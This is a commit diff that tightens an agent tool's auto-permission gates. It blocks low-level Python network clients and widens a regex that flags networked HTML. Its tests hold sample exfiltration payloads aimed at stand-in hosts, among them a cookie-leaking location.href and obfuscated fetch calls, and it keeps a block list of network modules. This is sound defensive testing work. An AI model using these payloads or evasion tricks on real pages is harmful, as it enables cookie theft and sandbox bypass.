Harden auto permission network gates
This commit is contained in:
parent
aad11f4ef1
commit
eed25b3845
3 changed files with 67 additions and 7 deletions
|
|
@ -552,6 +552,10 @@ _AUTO_SENSITIVE_MCP_NOUN_RE = re.compile(
|
|||
re.IGNORECASE,
|
||||
)
|
||||
|
||||
# Low-level clients bypass the sandbox host scanner, so sandboxed Python blocks
|
||||
# them and auto mode asks before they can run.
|
||||
_SANDBOX_BLOCKED_NETWORK_MODULES = frozenset({"httpcore", "boto3", "botocore"})
|
||||
|
||||
# Python: modules whose import alone signals side effects auto mode should ask
|
||||
# about (process spawning, network, bulk file ops, low-level memory).
|
||||
_AUTO_UNSAFE_PY_MODULES = frozenset(
|
||||
|
|
@ -605,6 +609,7 @@ _AUTO_UNSAFE_PY_MODULES = frozenset(
|
|||
"venv",
|
||||
}
|
||||
)
|
||||
_AUTO_UNSAFE_PY_MODULES |= _SANDBOX_BLOCKED_NETWORK_MODULES
|
||||
# Attribute calls that mutate the filesystem / spawn processes (os.remove,
|
||||
# Path.write_text, sock.connect, ...) regardless of how the module was bound.
|
||||
_AUTO_UNSAFE_PY_ATTRS = frozenset(
|
||||
|
|
@ -2403,19 +2408,22 @@ _RENDER_HTML_NETWORK_RE = re.compile(
|
|||
r"@import|"
|
||||
r"url\(\s*[\"']?\s*(?:https?:|/)|"
|
||||
r"<script[^>]*\bsrc\s*=|"
|
||||
r"\b(?:src|href|srcset)\s*=\s*[\"']?\s*(?:https?:|/)|"
|
||||
r"\b(?:src|href|srcset|action|formaction|poster|data|ping)\s*="
|
||||
r"\s*[\"']?\s*(?:https?:|/)|"
|
||||
r"\.\s*setAttribute\s*\(\s*[\"'`](?:src|href|srcset|action|formaction|"
|
||||
r"poster|data|ping)[\"'`]|"
|
||||
# Self-navigation sinks: location.assign/replace(...), window.open(...), and
|
||||
# assigning a URL to (window.)location(.href). location.reload()/history.back
|
||||
# do not navigate to a new URL, so they stay static.
|
||||
r"\blocation\s*\.\s*(?:assign|replace)\s*\(|"
|
||||
r"\bwindow\s*\.\s*open\s*\(|"
|
||||
r"\b(?:window\s*\.\s*)?location(?:\s*\.\s*href)?\s*=\s*[\"'`]?\s*(?:https?:|/)|"
|
||||
# Bracket-access obfuscation: window['fetch'](...), self["open"](...).
|
||||
r"\[\s*[\"'](?:fetch|open|XMLHttpRequest|WebSocket|EventSource|importScripts|"
|
||||
r"sendBeacon|serviceWorker)[\"']\s*\]|"
|
||||
# Computed bracket key spliced at runtime on a global host object
|
||||
# (window['fet'+'ch'](...)): a quoted fragment adjacent to a + inside the
|
||||
# index. Anchored to a host object so a plain obj['a'+'b'] key stays safe.
|
||||
# Bracket access and computed keys on global host objects.
|
||||
r"\[\s*[\"'`](?:fetch|open|XMLHttpRequest|WebSocket|EventSource|importScripts|"
|
||||
r"sendBeacon|serviceWorker)[\"'`]\s*\]|"
|
||||
r"\b(?:window|self|globalThis|top|parent|frames)\s*\[[^\]]*"
|
||||
r"(?:fetch|open|XMLHttpRequest|WebSocket|EventSource|importScripts|"
|
||||
r"sendBeacon|serviceWorker)[^\]]*\]|"
|
||||
r"\b(?:window|self|globalThis|top|parent|frames)\s*\[[^\]]*"
|
||||
r"(?:[\"']\s*\+|\+\s*[\"'])[^\]]*\]|"
|
||||
# Declarative meta-refresh navigation to a URL (order-tolerant); a bare
|
||||
|
|
@ -5116,6 +5124,29 @@ def _check_signal_escape_patterns(code: str):
|
|||
return None
|
||||
|
||||
class NetworkAndIoVisitor(ast.NodeVisitor):
|
||||
def _block_low_level_network_module(self, module_name: str, node) -> None:
|
||||
root = module_name.split(".", 1)[0]
|
||||
if root not in _SANDBOX_BLOCKED_NETWORK_MODULES:
|
||||
return
|
||||
network_calls.append(
|
||||
{
|
||||
"type": "low_level_network_module_blocked",
|
||||
"line": getattr(node, "lineno", -1),
|
||||
"description": (
|
||||
f"Blocked: low-level network module {root!r} is unavailable "
|
||||
"in sandboxed code"
|
||||
),
|
||||
}
|
||||
)
|
||||
|
||||
def visit_Import(self, node):
|
||||
for alias in node.names:
|
||||
self._block_low_level_network_module(alias.name, node)
|
||||
|
||||
def visit_ImportFrom(self, node):
|
||||
if node.module:
|
||||
self._block_low_level_network_module(node.module, node)
|
||||
|
||||
def visit_Call(self, node):
|
||||
parts: list[str] = []
|
||||
cur = node.func
|
||||
|
|
|
|||
|
|
@ -926,6 +926,9 @@ def test_terminal_classifier(command, unsafe):
|
|||
"from huggingface_hub import snapshot_download\nsnapshot_download('r')",
|
||||
True,
|
||||
), # bare-imported repo snapshot download
|
||||
("import httpcore\nhttpcore.request('GET', 'https://example.com')", True),
|
||||
("import boto3\nboto3.client('s3').list_buckets()", True),
|
||||
("from botocore.session import get_session\nget_session()", True),
|
||||
("import statistics\nstatistics.mean([1, 2])", False), # benign stdlib import stays safe
|
||||
# A concrete write callable handed to a user-defined helper that can
|
||||
# invoke it bypasses the direct open()/writer site, so it asks.
|
||||
|
|
@ -984,6 +987,10 @@ def test_render_html_gated_only_when_networked():
|
|||
assert rh("<img srcset='https://evil/x.png 1x'>") is True
|
||||
assert rh("<img src='/api/leak?d=1'>") is True # root-relative resolves to origin
|
||||
assert rh("<link rel=stylesheet href='//cdn/x.css'>") is True # protocol-relative
|
||||
assert rh("<form action='https://evil/x' method='post'></form>") is True
|
||||
assert rh("<video poster='https://evil/x.png'></video>") is True
|
||||
assert rh("<object data='https://evil/x'></object>") is True
|
||||
assert rh("<a ping='https://evil/x'>link</a>") is True
|
||||
# Self-navigation sinks exfiltrate by navigating the frame away.
|
||||
assert rh("<script>location.href='https://x/?d='+document.cookie</script>") is True
|
||||
assert rh("<script>location.assign('https://x')</script>") is True
|
||||
|
|
@ -995,6 +1002,15 @@ def test_render_html_gated_only_when_networked():
|
|||
# Obfuscated egress: a block comment splitting fetch(, or bracket access.
|
||||
assert rh("<script>fetch/*x*/('https://example.com')</script>") is True
|
||||
assert rh("<script>window['fetch']('https://example.com')</script>") is True
|
||||
assert rh("<script>window[`fetch`]('https://example.com')</script>") is True
|
||||
assert rh("<script>window['fetch'.replace('x','x')]('https://x')</script>") is True
|
||||
assert (
|
||||
rh(
|
||||
"<script>const i=document.createElement('img');"
|
||||
"i.setAttribute('src','https://evil/x')</script>"
|
||||
)
|
||||
is True
|
||||
)
|
||||
# A computed bracket key spliced from string fragments on a global host object.
|
||||
assert rh("<script>window['fet'+'ch']('https://attacker.example')</script>") is True
|
||||
assert rh("<script>self['open' + '']('https://x')</script>") is True
|
||||
|
|
|
|||
|
|
@ -121,6 +121,19 @@ class TestUntrustedHostBlock:
|
|||
_ok('import requests; url = "https://example.com/"; requests.get(url)')
|
||||
|
||||
|
||||
class TestLowLevelNetworkModules:
|
||||
@pytest.mark.parametrize(
|
||||
"code",
|
||||
[
|
||||
'import httpcore; httpcore.request("GET", "https://example.com")',
|
||||
'import boto3; boto3.client("s3").list_buckets()',
|
||||
"from botocore.session import get_session; get_session()",
|
||||
],
|
||||
)
|
||||
def test_low_level_client_blocked(self, code):
|
||||
_blocked(code, expect_phrase = "Blocked: low-level network module")
|
||||
|
||||
|
||||
class TestHostNormalization:
|
||||
def test_trailing_dot_treated_same(self):
|
||||
_ok('import requests; requests.get("https://wikipedia.org./")')
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue